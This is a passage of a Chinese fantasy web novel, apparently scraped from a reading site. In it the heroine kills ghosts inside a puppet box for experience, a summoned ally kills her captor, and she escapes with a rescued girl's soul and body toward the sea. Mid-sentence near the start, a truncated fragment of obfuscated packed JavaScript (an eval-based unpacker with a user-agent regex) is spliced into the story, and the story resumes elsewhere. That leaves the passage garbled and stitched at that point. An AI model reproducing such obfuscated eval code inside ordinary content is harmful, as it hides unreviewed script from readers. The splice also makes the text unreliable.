好家伙,这条蛇天天住在她丹田蹭吃蹭喝,长得圆滚滚的就算了,还敢觊觎她肉身?甚至嫌弃她的性别?滕棠太阳穴突突直跳,真想一巴掌把他拍死。 “付岚山,你知道我是你主人吗?”她问。 蛇头小鸡啄米地点点,一脸无辜:“知道,但主人要对灵兽负责,别的主人都是送灵石喂灵药的,我吃你一点灵力怎么了,你好小气。” 滕棠张口,刚要跟他理论,她被吸走的灵力哪里是“一点”,说亿点都太少了,结果垂头一瞧,胖嘟嘟的米虫委屈地吐着蛇信,又缠紧她灵根睡着了…… “我这是养了头猪吗?” 滕棠心中有气,却拿他没办法,好歹是给过自己恩惠的妖,总不能丢出去喂鬼。 走至傀运盒另一个角落,滕棠回归状态,继续追着小鬼大杀特杀。 累了就歇息,困了稍稍打个盹,她不敢完全沉睡过去。 转眼五天过去,傀运盒有一百只小鬼,滕棠击杀了三十二个。她识海内的精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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滕棠守了半个多小时,终于等到刷新。她勾完每日签到,手速极快地把召唤卡买下。 打开伙伴栏,滕棠把所有希望都放在醉星子身上。 如果她能和醉星子好好谈谈,便能借助此人之力,逃脱李孚骅的手掌。 点击第四个问号,滕棠在使用[强制召唤卡]的时候,有些紧张。她只有筑基期的实力,而对方是大乘期的大佬,整个明月大陆都没有这么强的人。 [您每日有三次召唤伙伴的机会,正在召唤醉星子,剩余召唤次数:2次。] [伙伴醉星子状态异常,是否使用“强制召唤”卡,召唤到身边5秒钟。] 滕棠刚要点击的意识,忽然止住…… “什么?5秒???”她诧异得声音都尖细了。 万象只能召唤二十秒,她吐槽过无数遍“时间太短了”,没想到醉星子更短,竟然只有五秒时间。 这么短的时间能做什么?她嘴皮子再快,都解释不清她现在的处境吧。 “难道是因为对方实力太强了,我实力太低了,所以只能召唤五秒?”滕棠自问几句,关掉[伙伴]的页面,暂时放弃使用召唤卡。 这么粗的大腿,只能看不能抱,好遗憾。 5秒的时间,她即使解释清楚,醉星子会不会出手、出手需要多少时间,都是问题。 除非醉星子是个极其聪慧、非常宽容、友爱且有眼力的人,一边听她解释,没对她擅自结契不满,一边快速出手,把李孚骅压制。 这种事情发生的概率有多低,滕棠不用想也知道。因此她没敢冒险,把卡片收好后,继续拿小鬼出气。 她的心里产生两种计划。计划A,李孚骅发现她还活着,并对她出手,她立刻使用强制召唤卡,让醉星子出现,对方若知晓生死契的事儿,不想帮她也得帮她,面对李孚骅的攻击,5秒反击回去,大乘期的力量,李孚骅绝对抵抗不了。 计划B,李孚骅一直没查看六鬼十凶傀运盒,她一直在这里面击杀鬼,多囤几个月的强制召唤卡,直到每日能召唤醉星子三次,大佬每天能出现15秒。 有希望才有动力,滕棠一开杀戒,盒子里的小鬼便不剩几只。 背包里的灵魂石,每次还没焐热,就被滕棠取出来吸收掉。 她的精神力,逐日增强,从细丝到粗实一股,再到五指攒拢的一簇,已经可以和出窍期修者的精神力比肩。 56. 第 56 章 被关进六鬼十凶傀运盒半个多月,滕棠为了防止系统倒闭,导致自己失去保命能力,她每日埋头苦干,将剩余小鬼杀了个干净。 目前精神力的强度,已达到出窍中期。 这个副本内的boss给的经验虽多,但想连升几级拿到两千上品灵石的奖励,仍有很大的难度。等级越高,所需经验越多,击败一百个小鬼,她现在才二十六级。 盒子内目前可挑战的,只剩厉鬼和凶煞,属于高等级boss。凶煞十只,等级在二、三十之间,厉鬼有六只,基本上四十级左右。 踩过每一个镇守图,滕棠把各方位的厉鬼凶煞牢记在心中。她先挑最弱的那只,单脚踩到阵线上,使对方冒出来。 在这里面待久了,她看鬼都顺眼了。 [你正在挑战21级凶煞。] “凶煞一”的方位上,趴着一只绒毛白蛙,巴掌大,脖子上有一根红线,模样竟有些乖巧。 但当她选择挑战它的时候,温和无攻击性的白毛蛙火速膨胀,蛙腿立直,站起来两米高,蛙眼血红,有乒乓球那么大。暗绿色的扁嘴张开,像大型口袋,从中弹出卷舌,啪塔啪塔甩向滕棠,上面黏满了恶心的绿液。 凶煞和厉鬼有很大不同,厉鬼由人所变,而凶煞则由一些妖兽转变而成。滕棠发现它们的凶煞之气聚集后,能够显形,有实体质感,需要用武器与精神力同时攻击。 好在这两样,她都不缺。 连日的挑战和丰厚的奖励,让滕棠有些上瘾。她对付这些丑陋的怪物时,内心的情绪很矛盾,既讨厌又开心。 她不喜这些恐怖阴邪之物,但打败这些东西后,自己的精神力不断增长,日复一日地积累沉淀,那种满足感又无与伦比。 有时候,她战斗起来,完全忘了自己的处境。 滕棠眼下的状态更像历练者,而非关押的囚徒。李孚骅忙着处理心魔、忙着修炼、忙着研究千傀术,完全忽略了她。 滕棠穿着战斗套装[绯烈焰],一边挥出火刀,一边尝试用精神力攻击白毛蛙。 腥臭的舌头不断飞出,袭向滕棠的头。上面的粘液太臭太恶心,要不是凶煞有一定实体,套装表面的火焰温度极高,能够将粘液烧掉,她可能已经满脸粘液,恶心吐了。 “凶煞一”等级最低,只有21级,战斗胜利只是时间的问题。 滕棠和白毛怪蛙周旋着,一暗一明。对方用蛙舌卷她,她便用火刀迎接,刀锋总是会划出小口,吸血回补,刀侧的两条火焰哧哧烧响,把淡绿的肉烤黑。 自上次大逃亡活动结束,滕棠把[绯烈焰]套装打造出来后,一直没使用过这套装备。现在和凶煞战斗,她发现身上的火焰对凶煞有一定的克制。 空气中的味道很重,类似于发酵的酸菜味,还有烤糊的怪味。 白毛蛙的舌头被烧得焦黑,凶煞之气大幅度减少,已经无法凝结出毒液。 它忽然变得暴躁,在滕棠周围弹跳,张开巨口朝滕棠扑去。 滕棠耗到现在,等的就是这个时机,在巨口离自己两米远时,她从识海取出无形之刀,一下砍进它的脑袋。 “呱!”打了这么久,滕棠第一次听见它的声音。 短促的蛙叫夹杂精神力攻击,对她没有太大的影响。她的精神力化为长刀,一刀接一刀地砍去,直到凶煞头颅内的灵台碎灭,凶煞之气逃逸,只剩下一块拳头大的灵魂石。 [击败21级凶煞,经验值+888……] [掉落物品:灵魂石×1] [恭喜玩家升至27级!] [获得升级奖励:+270上品灵石。] [警告!系统欠债:-692上品灵石,无法维持游戏运营。热血岁月即将倒闭,关服倒计时9天13小时!] …… 滕棠从背包里取出灵魂石,贴在额头上慢慢吸收,顺便打开系统菜单,找到[成就]。 在没有活动的情况下,除了靠升级获取灵石,还可以靠成就获取。 [成就]界面很多进度条都是空的,因为滕棠没有完成它们的条件。她的目光放在最上面,[累计打怪数量:6995/7000]这一条上,她只要再击败五只,就可以获得500上品灵石。 而且,五只小boss差不多够她升一级了!又是一笔灵石! 滕棠像是见到希望的曙光,还没休息够三分钟,便起身继续挑战。 时间不等人,系统还有九天倒闭,万一灵石没凑齐,她会陷入被动等死的状况。 二横阵、三角阵、四方阵……后面的凶煞越来越难打,一开始只需两个时辰,到后面打一只要一天,滕棠不仅身上燃烧着火焰,她眼里同样有火。 她心里清楚,必须在九天内打败五只! 傀运盒内很少有安静的时候,以前是呜呜哭声和呐喊尖叫,最近多了不一样的声音,呲啦烧灼的声音,凶煞怒吼的声音,或者滕棠大喊技能的声音。 阵心有个深不见底的水池,一点蓝光游动,每当滕棠接近,它便不断跳出水面。 蓝点好像在呼唤她,奈何滕棠沉迷打怪,忙着不让游戏倒闭,一步也没踏进去。 一日复一日,滕棠越打越上瘾。连着九天和凶煞疯狂战斗,在最后这一日,终于把第五个凶煞磨得血条见底。 这一次她没有再听到系统嘟嘟嘟的警告声,升级奖励和成就奖励加在一起,不仅填满了负债,还让空空如也的财富栏有了88这样吉利的数字。 心里的大石头落下,滕棠长舒一口气:“呼,游戏短时间不倒闭了。” 她取出巴掌大的蓝色软石,旋动灵台,将里面的力量吸收进自己的识海。 经过这一个月的战斗,精神力得到增长、磨砺和锻炼,她识海内的灰蒙已经少了很多。在她意识抉择之下,正中央的灵台发生变化,逐步有了刀鞘的雏形,恰好和精神之刀契合。 睁开眼,滕棠站在“厉鬼二”的双横线阵前,听见熟悉的水声。 “咚……咚……” 阵心的镇守图十六个,被她毁去六个凶守,还剩四凶守、六鬼守。中心地带法阵缺势,如同被切了角的蛋糕。六个空荡荡的方位,已经无法阻止人进入。 蓝色的光点还在中心跳跃,吸引着滕棠的注意力。 滕棠遏制了自己的好奇心,她怕跨过十六镇守图,进入阵心,会引起变化,发生更可怕的事,或者让外面的李孚骅注意到自己。 忽略中心闪动的蓝光,她保守地选择了继续挑战凶煞。 还剩十只boss,恰好再过十来天,商城刷新,又能获得张[强制召唤卡]。 再接下来的时间里,滕棠继续无止息地战斗,刀法愈发娴熟,对精神力的操作也更为巧妙。 十只boss,四个凶煞等级多为三十来级,较好打,结合装备武器与精神力两种攻击,即使遇到强劲的,她耗上一天也能战胜。 但打完凶煞,面对六个四十多级的厉鬼,滕棠头疼了。 武器对它们造成的伤害很小,她的精神力强度只比它们多一点,必须花费所有精神力,疲惫得几乎睁不开眼时,才能勉强战胜一个。 时间悄悄溜走,滕棠没有时间概念,只能靠系统的签到提示,心中有个大致计数。 在这傀运盒里,她已经待了两月有余。 [击败43级厉鬼,经验值+222……] [掉落物品:灵魂石×1] …… 打败完最后一只[43级]的厉鬼,滕棠获得了块脸盆大的灵魂石。她一边抱着蓝色的石头吸收,一边查看个人数据。 经验值还差一点满30级,财富栏倒是不错,上品灵石那儿有了三位数。 怀里的灵魂石太大,滕棠花了好长一段时间才吸收完。如今的她拥有常人无法匹及的精神力,强度堪比分神后期的修者,需要修炼至少两千多年,才能如此浑厚。 她的识海再也不是当初灰蒙蒙一片,好像天还没亮的样子,而是犹如熹微的清晨,天空轻云飘动,淡淡的明光从中折射而出。 打到现在,盒子里无怪可打。这个副本虽然通关了,但是她无法像游戏那样,随意出去。 滕棠站在十六镇守图外面,睁眼看了许久中心的蓝光。 那点微光好似跳累了,或是见她一直不理会,有些泄气,隔好久才蹦出来一次。 滕棠现在有两张召唤卡,她现在纠结的是,一,直接召唤醉星子,花五秒给对方讲述情况,再花五秒等他救自己出去;二,满足该死的好奇心,踏进阵心看看,那个努力吸引自己的蓝光是什么东西,有没有可能帮自己逃出盒子,若遇到危险,直接用强制召唤卡。 想来想去,滕棠觉得直接使用[强制召唤卡]更稳妥。 她决定先花一张召唤醉星子,看看大佬的意愿,若对方不肯救她…… 滕棠右拳锤左掌,自言自语:“那我就逼他!我要是死了,都别活!” 凌云和云令他们都知道生死契的存在,醉星子不可能不知道。 之前召唤万象有些罗里吧嗦,滕棠决定精简,自行练习一遍,嘴巴快速说道:“你只能出现五息的时间,我们有生死契,救我!杀了外面的人,否则我死你也死!” 练习了好几遍,做好准备,滕棠深呼吸一口,在脑子里迅速点击完[强制召唤],并三百六十度观察四周。 六鬼十杀傀运盒外,一抹蓝色的身影出现在李孚骅洞穴中。 正在打坐稳心魔的李孚骅陡然睁开眼,大惊失色地和醉星子对视,两人皆是一愣。 但醉星子反应迅速,丝毫不给李孚骅思考的时间,两手合掌,在第三秒的时候出手,一道浅蓝色的水没入李孚骅的头颅,直接冲毁灵台,于最后一秒向下,穿过五脏六腑和丹田,把他肉-身也毁了个彻底。 李孚骅的死,无声无息,最后倒在洞穴的样子,连醉星子都没看到。 眨眼五个瞬间,醉星子回过神时,周边的景物又变成宽宽的、随水流方向倾斜的海带。 这一切发生得太快,没有动静。祥天门依旧死气沉沉地坐落在山间,因李婪深到福鹿宗搜刮魔傀去了,门内竟无一人发现老祖的命牌熄灭…… 前一秒,滕棠没看到人,心有点慌,怕时间不够,她对着黑暗,直接把准备好的话喊出来:“你只能出现五息的时间,我们有生死契,救我!杀了外面的人,否则我死你也死!” 快速说完后,滕棠仍未见到醉星子的身影。 天地晃动了下,非常轻微,仿佛是幻觉。 五秒过去,周围一点反应都没有…… 滕棠以为自己没点击成功,打开背包发现,强制召唤卡已经少了一张。 不可能召唤失败。系统什么提示都没有,表明卡片已经生效。 滕棠眸光闪动,细眉蹙起,抬脚在附近走了圈。 她脸色十分难看,猜测道:“他不会出现在盒子外面吧?” 越想越觉得有这种可能。召唤伙伴后,伙伴会在一米范围内现身,然而刚刚她身旁并没有动静。 囚住她的盒子那么小,单手可握,说不定系统的一米范围,不包括特殊副本地图,只涵盖外面的大世界地图。 没有成功和醉星子碰面,滕棠有些担忧。若醉星子出现在李孚骅面前,又有生死契感应,他会不会以为是李孚骅召唤的他? 滕棠想得太多,心情糟糕得无以复加。强制召唤卡仅剩一张,她不敢乱用,于是困扰地在原地蹀躞。 既不能坐以待毙,又不能轻易召唤伙伴……惆怅的滕棠望向阵心,那儿恰巧跳出点蓝光,似一只带路的萤虫。 她决定冒险一闯。 厉鬼和凶煞都没主动吃她,里面的东西应该也不会。且[31级]的怪,无论是精神类还是血条类,只要不强得离谱,她现在完全可以打败。 踏进守心之阵,身边的温度骤然下降,变得阴寒起来。若没有[绯烈焰]套装,滕棠定然会变成冰雕。 阵心内的符文很奇特,灵魔混行,两种字毫无章法,有大有小。她小心翼翼地走进去,身上的火焰像是被洒了水花,变小了许多。 滕棠观察地面,发现这些字所形成的阵,和当初保护地牢冰棺的五行四灵阵很像。 “怎么走来着。”她回忆龙傲天的步伐,一步一个圈。 “咚……咚……咚……” 前方蓝色的光感受到她的接近,跳跃频率增加,在几块石头后奋力冒出头,以期让滕棠看见。 走了好几步,地面浮现出熟悉的纹路,滕棠胆子大起来,昂首疾步,继续踩阵,越来越接近中心的玄黑水池。 走到阵法最后一步,滕棠被几块黑色的石头堵了路。 石头奇形怪状,缠满红线,不规矩地摆放在水池旁,滕棠数了数,共五个,表面皆贴了数张魔族符文。 用系统识别,她才知道这些是什么东西。 [天运邪玉,高级,用于吸纳、储存天道气运。] [镇灵符,高级,镇守灵魂。] [避魂线,中级灵器,可趋避……] [冥煞血……] 她谨慎走近,在红色的线上看到两个命牌,左边那个命火已熄,裂了一半,依稀看出个“李”字,右边那个同样如此,只是才熄不久,命牌尚有余温,在冰寒的石头上阵阵生白烟。 滕棠挥开灵烟,小声读道:“李偲易。” “扑通~”微弱的蓝光,还在努力吸引她的注意力。 按照阵法设计来看,这里应该是阵心,搬开这些石头,是不是就能出去? 滕棠弯腰,用大刀推移天运邪玉,使阵法最后几环显露出来。 但她没想到的是,天运邪玉一动就碎,在她刀下,比豆腐还要脆弱。 碎掉的天运邪玉中央,存在一滴干涸的精血,令滕棠好奇不已。精血附于高级奇石上,在阵法、仙器的加持下,只要主人还活着,就能攫取主人的灵力与生气,与主人产生感应。 这滴精血怎么消散了生机呢?李孚骅对这里还有感应吗?还能操纵大阵吗? 滕棠对阵法一道,并不精通。她摇摇头,看向中央的黑池 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长刀深入其中,白色火焰一下子就熄灭了,可见温度之低。 靠系统的话,水类流动液体无法捡拾,必须用容器装盛后,才能放进背包。滕棠在商城翻了翻,没找到能耐强腐蚀的容器,只好放弃收集。 水太深,李偲缨之前跳太久,现在没什么力气。滕棠的长刀够不着她,想了想,把[限定武器外观·恶魔镰刀]用上,站成一字步,费力地把三十米镰刀放入水中。 咕噜咕噜——,镰刀入水,白色火焰在池中烧出沸腾的水响。 滕棠吃奶的劲都使出来了,努力找准对方的位置。 “李偲缨,你趴我刀上,我拖你出来。放心,武器对灵魂状态的你不会造成严重伤害。” 黑乎乎的水里,李偲缨奋力游动,忍住武器带来的伤害,紧紧贴住刀面,随滕棠的拖动浮出水面。 她上岸后,灵魂立马变成人形,非常虚淡,几乎透明。 滕棠第二次见到她,再次被她长相震撼到。 灵魂透明成这样,都能美到我,这么美貌,说是女主角我都信。 李偲缨的灵魂看起来非常疲惫,她软绵绵地躺在地上,双脚还陷在冥煞血中。 “除~~我名~~~”她虚弱缥缈的声音,像极了女鬼的呓语,听起来很阴森。 “你说什么?”滕棠用精神力使劲拖了下,还是无法将她完全拽出来。 “字~”李偲缨的目光转向东南,断断续续地道:“除~~~掉~~” 阵心的字不少,有用魔力刻的,也有灵力刻的,大小不一,排列混乱。滕棠顺着她的视线,在微弱的光下找了许久,才找到“李偲缨”三个字。 “划掉是吧?” 滕棠招出两把飞刀,橡皮擦似的在地上磨,把李偲缨的名字划得认不出来才停手。 收回副武器,她转身调出精神力,拖拽李偲缨的灵魂。 许久之后,“哗啦”一声,李偲缨的魂魄终于被拖出来。滕棠累得一屁股坐在地上,喘了几口气,才道:“我有你的尸体,不对,你的身体。” 李偲缨仍旧一副弱柳扶风的样子,缓缓挪到滕棠身边。 她怕滕棠听不清她的声音,爬起身,嘴巴靠近滕棠耳畔,像鬼一样幽幽问道:“你~为什么~有我的~身体~?” 滕棠头皮收紧,左手臂上全是鸡皮疙瘩。 她推开李偲缨,隔得稍远,把[绯烈焰]套装卸下,怕烧到对方的灵魂。 将背包里的尸体取出来,滕棠放到她面前:“但是你体内有魔傀丝,要清除的话,等我出去凑点灵石。” 尸体是趴着的状态,她刚要给李偲缨翻个面,就听见不远处传来动静。 熟悉的残魂哭泣声,还有爬动的窸窸窣窣响。 李偲缨知道外面的残魂要来抢身体,赶紧贴近滕棠,凑到她耳边道:“快~收回去~~~!”这次说话有点急,颤音幅度变大,声音不仅更空灵尖细了,还更瘆人了。 “好,你先别说话。”滕棠真受不了耳朵边的声音,浑身都是鸡皮疙瘩。 李偲缨看眼自己惨白的身体,手在丹田处摸了摸,在滕棠刚要装她的时候,她忽然又阻止:“等~一下~~” “怎么了?”滕棠问。 “没有~魔傀丝~~了~~~” 李偲缨欣喜地笑了下,钻入自己的身体,合二为一。与此同时,阵心外的残魂不再躁动。 滕棠摸了摸她的脸,还是很冷,不过尸身内,丹田已经开始复苏,连带着灵血流动,身体皮肤有了点颜色。 滕棠摇动她的肩,问:“李偲缨,你还好吗?” 惨白的美女一动不动,在黑暗中安静了好一会儿,蓦地立起上半身,抓住滕棠的衣领,死死瞪着她,半天没说一个字,接着眼睛闭上,不省人事。 “能不能不要这么吓人!”滕棠一下一下地抚顺胸口,等自己冷静下来后,用手指戳戳她:“你没事吧?” 躺在地上的人完全没动静,比死人还像死人。 这时,付岚山突然发话:“她神魂受损好严重,脱离肉身太久,融合起来很难的。你可以给她灌输灵力,助她快速合魂。” “比你还要严重?” 滕棠想到付岚山吃喝这么久都没好,那李偲缨得需要多长时间、多少灵力。 “比我严重多了。”付岚山摇晃脑袋,嘚瑟地道:“过不久我的灵魂就能蕴养好,你记得帮我准备一颗移木养魂丹,这样我才能用那副壳子。” 滕棠心思不在他身上,默默抱起李偲缨,试图把她装进背包。 [提示!不可以把人装进背包!] 滕棠气急,抓着李偲缨的肩摇个不停:“你醒一醒啊!” 李偲缨软绵绵地倒进她怀里,鼻息平稳悠长,可见睡得极其舒适。 “你信不信我把你丢在这里。” 滕棠见她没反应,纠结半晌,实在狠不下心不管她,无奈当起大冤种。 她的身体比李偲缨还纤瘦些,努力将人背起,李偲缨的脚尖还在地上。 学起龙傲天的步伐,滕棠背着人一步一步踏出阵心,时刻准备着[强制召唤]。 等她见到李孚骅的那瞬间,立刻用矿神金装免除十秒伤害,然后召唤醉星子,自己带着李偲缨坐热气球逃走。 她的计划安排得紧密,背着沉甸甸的李偲缨,心情很是紧张,就怕醉星子是个迟钝之人。 踩入最后一个符字圈,白光亮起,穿着矿神金装的滕棠,转瞬出现在一个凌乱的山洞内。 当她要点击使用[强制召唤卡]时,眼前的一幕让她大为吃惊。 李孚骅的尸体就在面前…… 白发老头斜倒在地上,脑袋破了个洞,五府经脉具碎,地上流的血液已经干涸。 滕棠震惊之时,回头发现,洞口灵光水幕不停闪动,有个[36级]的人在外面焦急大喊:“老祖?老祖!您没事吧?您的命牌这次很不对劲!” 57. 第 57 章 外面是深夜,偶有鸮鸣回荡山谷。月色下,专守命祠的弟子,急切敲响光幕,不断询问老祖的情况。 老祖的命牌一直都有问题,时常断火,却从来没变寒开裂过。 今夜他清扫命牌灵尘,偶然发现老祖的命牌竟然碎了,七零八散地分布在祠堂地上,把他惊得不轻,怕自己失手未放置好,命牌不小心跌落摔碎的,于是不顾禁令,前来询问。 滕棠站在血腥味浓郁的山洞内,挑动手,把李偲缨往上背了背,有点不知所措。要是被人发现,她不就背锅了么? 不对,李孚骅这么强的人怎么会死…… 明月大陆偏僻人少,李孚骅已经是这里最强的人,不可能在修行洞中被人杀死,除非是……滕棠想起自己那张召唤卡,突然打了个冷噤。 她不免往坏处想:醉星子一出现,见到召唤自己的人、和自己结契的人,一气之下直接把对方杀死。 想到此处,滕棠不敢再看李孚骅了,他额上拳头大的洞、空荡荡的丹田,无不告诉她:这就是召唤醉星子的下场! 李孚骅5秒就死了,死时肯定很懵逼。 “老祖,求您回个话,命祠的命牌,火熄牌碎了。”外面的守牌人还在心急地拍动光幕。 滕棠不敢在这里待太久,把李偲缨放下来后,四处搜刮李孚骅的东西。 六鬼十凶傀运盒里的残魂被她放了出来,里面已经没有厉鬼和凶煞。如今这空盒子和普通盒子没有太大区别,滕棠用刀把它砸了个稀碎。 李孚骅洞内凌乱,放的大多是普通衣服和灵酒。她掰开老头的手指,把储物戒取下来,用灵力探入其中。 “怎么就这点东西!都放藏宝阁了么?”戒指内,滕棠只找到几本法术书,几瓶丹药还有两块上品灵石。 她抽开塞子闻了下丹药,味道很罕见,药材是上等的稀有货,应该值不少钱。法术书都是害人的邪魔外道,滕棠不可能拿出去卖人,心想最好是毁掉。 没得到什么东西的滕棠,感到失望。 “老祖,您若不想言语,可以给弟子传个小笺。” 外面的守牌人以为李孚骅和心魔抗争,一时半会儿分不出心思,便把碎裂的命牌摆在洞口,哭丧地讲自己是如何失职摔碎,希望老祖网开一面,再制一枚给他。 外面的人一直不肯走,滕棠在洞内又翻不出有用的东西,继续待下容易被发现。她穿着矿神金装,把李偲缨用绳子拴在背上,一鼓作气冲出光幕。 守牌人根本没想到洞内会有其他人,加之现在深夜,在金光乍现时,他眼睛一下子失明,内心还以为是李孚骅法力太耀眼,摸着墙壁道:“老祖您可算出来了!” 等他眼睛恢复点,看见旁边出现一个巨大的球体,把月亮完全挡住。 他愣了下,眯起眼睛,发现滕棠背后的人很眼熟,这、这不是李偲缨么?! 他忽然意识到出事了,赶紧把传音石掏出来。 滕棠快他一步,翻转长刀,用一指粗的刀背把人劈晕,背着李偲缨跳进篮筐内。 李婪深和鹿泫喝完酒,眠了两个时辰,身上酒气未消,他慢慢坐起身来。 摸出传音石,他听到了守牌人的留言,说什么老祖的命牌裂了。 李婪深一惊,赶忙打开魔傀之眼,查看自己的丹田。 他腹中的魔傀丝竟然消失了!他爹死了!李婪深又惊又喜。 他变幻出一阵水幕,查看祥天门那边的情况,忽然身形一愣。 熟悉的热气球与金光铠甲闯入他的视线,李婪深揉揉眼睛,不敢相信滕棠还活着,竟然杀了父亲,从盒子内逃了出来! 若是这样话,六鬼十凶傀运盒和千傀仙法,岂不都入了她的手? 想至此,李婪深形色仓皇,快步找到鹿泫拜别,急匆匆道:“门派出了事,贤侄回去一趟。” 滕棠带着李偲缨坐入热气球后,不一会儿便遭到几名筑基弟子的拦截。 她虽然都打得过,但远方御剑过来不少人,这些人才不会给她一对一的挑战机会。 滕棠操纵着热气球,躲避着几名弟子的进攻,一会儿往东飞,一会儿向上升高。奈何还是找不到空隙,那一千名弟子很快布满天空,堵住她所有去路。 李婪深在远方割破十指,咬着舌尖操控门派的魔傀。在他的控制下,一千名弟子很快形成阵势,围着热气球整齐划一地掐诀。 除这千名弟子外,祥天门内还有几千人,正迷茫地待在各自洞府,没了李孚骅的控制,渐渐回过魂来。 若李婪深实力再强点,有李孚骅的实力,能控制好几千魔傀,滕棠现在面临的就不止一千人了。 密集的光束射来,灵力在周围亮起不同颜色,鲜艳绚丽。 见躲不掉,滕棠把绳索解开,将李偲缨抱到怀里,开启十秒[铁壁铜墙]。 李偲缨的脸被她胸甲硌到,陡然睁开,抓着她的手,说到“小心我……”三字停顿,头一歪,睁着眼睛睡着了。 滕棠没被祥天门的人吓到,倒因她受了惊。 李偲缨没事吧,小心我什么? 滕棠挡住一波集体攻击,将李偲缨丢到篮子角落,左手按在前进键上不放。 千傀阵着实厉害,千人排纵成人墙,无论她往哪边逃,都闯不出去,热气球被震退回大阵中,表面有些破损。 滕棠抬头,听见一千人同时张嘴,声如晨钟:“贼女,把六鬼十凶傀运盒与千傀仙法交出来!” 滕棠无奈,只好用掉那张召唤卡,将万象召唤出来。 唰——,黑衣人闪现在她的右前方。 万象这次出现在空中,始料未及,差点摔到地面。所幸他反应及时,身形于半空中稳住。 万象一脸凶恶之相,话都没问滕棠,比如为什么叫他,现在是什么情况,直接动手,前后各一掌,分别拍伤五百人。 “你走。”大佬气势磅礴,随手将热气球一推,姿势无比帅气。 滕棠对他连连道谢,心道人不可貌相。别看万象凶巴巴的,一副谁都不好惹的样子,却有颗菩萨心肠,几次出手相助,让她都不好意思了。 滕棠抓紧时间,长按前进键。热气球飞出阵型后,像狂奔的野马,无人能拉得回来。 李婪深在远处看得气急败坏,加速回到门派,然而滕棠已经走了,突然出现的魔人也消失了。 他朝李孚骅修行的山峰飞去,抱着捡漏的心态,暗想万一滕棠未拿走千傀仙法,他仍可以修成不死之术。 热气球一路飞往明月大陆东边,未曾停下。 滕棠如今被祥天门追杀,没办法待在这块大陆了。 去外面的世界看看也好,穿到这个世界,偏居一隅也没什么意思。 空中风大,近些时日天气不好,时常阴云密布,高空的风刮得很冷。角落里的李偲缨刚合魂,亟需温暖环境养身,奈何滕棠不懂这些。 出于本能自救的反应,李偲缨活生生冻醒了,唰地瞪大眼,发现自己还在奇怪的篮子里。 滕棠受不了她反复诈尸的行为,在对面问:“你怎么样了?” 李偲缨很疲乏,但必须熬着,与滕棠说重要的事。 她死瞪着眼睛,好像对面是她仇人般,不停喃喃:“小心我爷爷……小心我爷爷……魔傀丝。” 因丹田恢复缓慢,灵血循环不畅,她的脸色非常苍白,皮肤有些青紫,看着跟僵尸似的,令人悚然。 滕棠被她眼神瞪得发憷,缩进更角落的地方,对她道:“你快睡吧,你爷爷已经死了,千傀仙法被我毁掉,六鬼十凶傀运盒也被我砸碎了,真的,你睡吧。” 听见这句话,李偲缨眼睫收敛,脸上拨开百年乌云,终于见得阳光。她朝滕棠露出一个苍白的笑容。 明月大陆以东是狂海,狂海的东边是最繁华强盛之地——天央大陆。 世上除了魔修,几乎所有灵修都想去天央大陆闯荡。 至于明月大陆的灵修,有能力的,靠登明月八角塔十层,通过祥天门、福鹿宗的传送阵去天央大陆修行;登不上十层但有钱的,靠送钱给明月大陆的管辖者,进上古大阵,传送去天央大陆;而没钱没能力的,则大多乘船,靠运气度过危险的狂海。 坐船实属无奈之举,狂海中间有一大片雷域,若坐飞舟闯进雷区,百分百死路一条。 来到明月大陆东边的散修城,滕棠背着李偲缨在一家客栈住下,为了逃避祥天门的追杀,特意在商城中挑选外观。 买外观的好处是,无需自己化妆、穿戴,一键就可以换副样子,脸上不会脱妆,身上衣服坏了可以花灵石补耐磨度。 商城的外观大都很好看,不适合掩藏身份,当初奇石活动抽到的衣物饰品,太过奢华,同样派不上用场。 滕棠往下滑,视线在未来机甲装和非主流等特殊外观之间比较,未来机甲装看着太另类,而且很庞大沉重,她在内心默默划掉。 女巫魔袍类看不见脸,监察者肯定会让掀开看,不行。 滕棠拉到最后,发现妖怪类的玩偶套装没上架,写着[12月9日敬请期待],选来选去,除了杀马特非主流的妆特别浓、特别夸张,其他的都容易看清原貌。 无奈之下,她给自己买了一套[重溫☆經典],给李偲缨买了一套[懐旧★过紶]。 滕棠一键换好装,走到铜镜面前照。 咖啡色爆炸头,挑染的刘海遮挡半边脸,紫色烟熏眼影涂到飞起,斜入鬓间,还有暗绿唇色、爱心贴钻、假伤痕、五角星印……夸张到她自己都认不出自己。 她扒拉厚重的刘海,对套装自带的妆容感到满意。 披了件斗篷,滕棠在散修城内闲逛,听到不少新鲜事。这里的消息很灵通,李孚骅之死,已经被传开,说是被一男一女两个魔头合力杀死。祥天门掌门正在制作她和万象的水幕画像、具体信息,过两日交到各监察者手中。 滕棠出来不是打听这些的,她主要是想问,明月大陆管辖者那儿的传送大阵,需要多少价钱。 天央大陆是所有人向往之地,自有其限制,从古至今对“偷渡”管得很严。百宗之首——无涯宗,每百年会派一人,到其他灵修大陆监守上古大阵,以防魔修或身份不够的人进入。 灵修想去天央大陆有三个条件,一是天赋能力认可者,二是金钱地位足够者,三是寻亲,在天央大陆有亲族接纳。 很多灵修都达不到这三个条件,因此很多人选择渡海。 明月大陆的灵修,只要乘船渡过狂海,就能抵达天央大陆。虽说以这样的方式到达彼岸,会被排挤在天央大陆外围地带,于散修城中生存,但是愿意去的人仍然多如牛毛。 因为天央大陆意味着成仙机缘,如果有幸被哪个门派看上,加入他们,实力大幅度提升,他们就有机会进入无涯宗,获得登天梯成仙的机会。 明月大陆没有天梯,待在这儿永远成不了仙,除非有个实力高超之人,愿意为他们铺一条成仙之路。 滕棠去打听了管辖者那里的价格,得到的结果让她瞠目结舌,10块灵髓一个人……怎么不去抢! 果然贫穷限制了她的想象。 1灵髓等于1000上品灵石,10灵髓,一万上品灵石……她上哪儿凑这么多钱?何况她还带着李偲缨,就得准备两万上品灵石。 走上古大阵的计划很快被滕棠否定掉,拢起斗篷,又去海边问灵船的价格。得知一人500上品灵石,她还是有点肉痛。 走到一家交易铺,滕棠把李孚骅的丹药拿出来,全部卖成灵石,一颗不留。 出海的事不能继续拖下去,李婪深渴求千傀仙法,她和李偲缨的水幕人像说不定明天就出现在城里。 她如果要逃,最好今天就带着李偲缨坐船走。 滕棠回到客栈,把刺猬头的李偲缨背起,脚步稍沉地上了街,往海边走。 